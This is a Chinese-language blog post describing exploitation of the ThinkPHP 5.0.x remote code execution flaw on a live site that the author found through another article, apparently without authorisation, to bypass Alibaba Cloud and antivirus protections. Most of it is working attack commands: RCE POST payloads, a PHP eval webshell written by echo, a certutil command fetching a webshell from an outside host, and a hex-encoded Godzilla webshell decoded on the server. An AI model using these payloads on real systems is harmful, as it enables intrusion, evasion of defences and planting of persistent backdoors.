TP-RCE绕过阿里云防护Getshell

简介: TP-RCE绕过阿里云防护Getshell

0x01 前言

这篇文章记录的是笔者在阅读某公众号发布的“记一次对****某校区失败的渗透测试”文章时发现存在漏点,找到目标站点并对原文章作者在Getshell时遇到的问题进行了一些测试,Getshell失败的原因他认为是Assert、Eval被禁用或者360安全防护问题,其实都不是。

漏点处出在Burpsuite请求/响应包中以及****等关键字。


0x02 TP-RCE漏洞利用与杀软对比

这是一个后台登录页,基于ThinkPHP V5.0.20框架,可利用ThinkPHP 5.0.0~5.0.23 RCE漏洞直接执行系统命令,不同小版本之间利用的Payload可能会有些差别。

    _method=__construct&filter=system&a=whoami
    http://192.168.1.7/ThinkPHP/public/index.php?s=captcha
    post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami
    post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami


    通过与tasklist /svc命令结果对比发现为阿里云主机,并且安装的有服务器安全狗、360安全卫士和微软自带的Windows Defender,所以不能直接用以下两种方式来进行测试

    • 1. 360安全卫士和服务器安全狗都会拦截Net/Net1添加用户行为,所以没办法直接添加管理员用户。
    • 2. 360安全卫士Windows Defender也会拦截Mshta、Powershell等程序的执行,而且还有特征查杀和AMSI,所以暂时不考虑用MSF和CS来获取会话,因为免杀、传文件和执行方式都是问题......!


    0x02 绕过阿里云主机防护Getshell

    (1) 常规思路写Webshell这里我们可以先利用dir命令查看当前网站绝对路径,然后再用echo命令写入一个PHP Webshell,不过在写入<?php @eval($_POST[cmd]);?>一句话木马时发现被拦了,正常内容是可以写入的。

    当我们写入的Webshell特征被阿里云防护检测到时就会被拦截并Ban掉IP,会触发告警,链接被重置,网站暂时无法访问等,这也就是原文章作者Getshell失败的原因了。


    1、列出当前目录


    _method=__construct&filter=system&a=dir

    2、写入PHP一句话木马


    _method=__construct&filter=system&a=echo ^<?php @eval($_POST[cmd]);?^> > E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php

    在遇到这类云主机防护时可以尝试更换为免杀Webshell,这里我用的是“哥斯拉”生成的PHP木马。但问题又来了,哥拉斯的马并不是“一句话”,有34行,无法直接利用echo命令来写入,那么又该通过怎样的方式来写入这个PHP木马呢?接着往下看。


    (2) Certutil远程下载Webshell

    这里笔者首先想到的是certutil,当然也可以选择其他远程下载文件方式!RCE这类漏洞中利用certutil下载文件时建议加上cmd.exe /c,因为这样能绕过火绒应用加固中的“Web服务器”防护,也有可能可以绕过其他安全软件对certutil执行的拦截。


    _method=__construct&filter=system&a=cmd.exe /c certutil.exe -urlcache -split -f http://betaseclab.com/bypass/shell.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php


    (3) Certutil编码上传Webshell

    将“哥斯拉”的PHP木马在https://www.107000.com/T-Hex上进行一次或多次编码,然后将编码后的内容用set命令写入,最后再用certutil命令的decodehex参数将其解码并写入到shell.php文件即可。


    _method=__construct&filter=system&a=cmd.exe /c set /p="3C3F7068700A2020202073657373696F6E5F737461727428293B0A20202020407365745F74696D655F6C696D69742830293B0A09406572726F725F7265706F7274696E672830293B0A2020202066756E6374696F6E20452824442C244B297B0A2020202020202020666F722824693D303B24693C7374726C656E282444293B24692B2B29207B0A20202020202020202020202024445B24695D203D2024445B24695D5E244B5B24692B312631355D3B0A20202020202020207D0A202020202020202072657475726E2024443B0A202020207D0A2020202066756E6374696F6E2051282444297B0A202020202020202072657475726E206261736536345F656E636F6465282444293B0A202020207D0A2020202066756E6374696F6E204F282444297B0A202020202020202072657475726E206261736536345F6465636F6465282444293B0A202020207D0A2020202024503D2770617373273B0A2020202024563D277061796C6F6164273B0A2020202024543D2733633665306238613963313532323461273B0A2020202069662028697373657428245F504F53545B24505D29297B0A202020202020202024463D4F2845284F28245F504F53545B24505D292C245429293B0A202020202020202069662028697373657428245F53455353494F4E5B24565D29297B0A202020202020202020202020244C3D245F53455353494F4E5B24565D3B0A20202020202020202020202024413D6578706C6F646528277C272C244C293B0A202020202020202020202020636C61737320437B7075626C69632066756E6374696F6E206E766F6B6528247029207B6576616C2824702E2222293B7D7D0A20202020202020202020202024523D6E6577204328293B0A09090924522D3E6E766F6B652824415B305D293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C302C3136293B0A2020202020202020202020206563686F20512845284072756E282446292C245429293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C3136293B0A20202020202020207D656C73657B0A202020202020202020202020245F53455353494F4E5B24565D3D24463B0A20202020202020207D0A202020207D" <nul >> E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt


    _method=__construct&filter=system&a=cmd.exe /c certutil -decodehex E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php

    用哥斯拉连接后发现在基础信息里获取的系统版本与systeminfo命令获取的系统版本不一致,这应该算是哥拉斯的一个小BUG吧,但影响不大

    由于是国内的网站,所以笔者这里只对Getshell问题进行了测试,并没有进行下一步测试,写入的文件也已经删除了,有兴趣的老哥可以在自己阿里云主机上安装一个ThinkPHP 5.0.0~5.0.23 RCE靶场环境进行测试

    ThinkPHP5.0.20完整版:

    http://www.thinkphp.cn/donate/download/id/1155.html

    相关文章
    |
    存储 安全 网络协议
    绕过WAF和多个防护软件提权案例
    绕过WAF和多个防护软件提权案例
    187 0
    |
    2月前
    |
    开发框架 安全 .NET
    Web安全-文件上传漏洞与WAF绕过
    Web安全-文件上传漏洞与WAF绕过
    164 4
    |
    1月前
    |
    网络协议 安全 网络安全
    ssrf检测防御与绕过
    ssrf检测防御与绕过
    |
    1月前
    |
    安全 网络协议 NoSQL
    SSRF漏洞深入利用与防御方案绕过技巧
    SSRF漏洞深入利用与防御方案绕过技巧
    93 0
    |
    3月前
    |
    安全 网络安全 PHP
    RCE攻击绕过WAF详解
    RCE攻击绕过WAF详解
    64 3
    |
    安全 测试技术 网络安全
    D盾防火墙安全防护绕过-[文件上传]
    D盾防火墙安全防护绕过-[文件上传]
    568 0
    |
    安全 API 网络安全
    绕过IIS命令执行防护提权
    绕过IIS命令执行防护提权
    150 0
    |
    开发框架 安全 .NET
    记一次绕过安全狗和360提权案例
    记一次绕过安全狗和360提权案例
    160 0
    |
    SQL 安全 关系型数据库
    SQL注入 安全狗apache4.0.26655绕过(上)
    SQL注入 安全狗apache4.0.26655绕过
    124 0
    |
    SQL 安全 数据库
    SQL注入 安全狗apache4.0.26655绕过(下)
    SQL注入 安全狗apache4.0.26655绕过
    83 0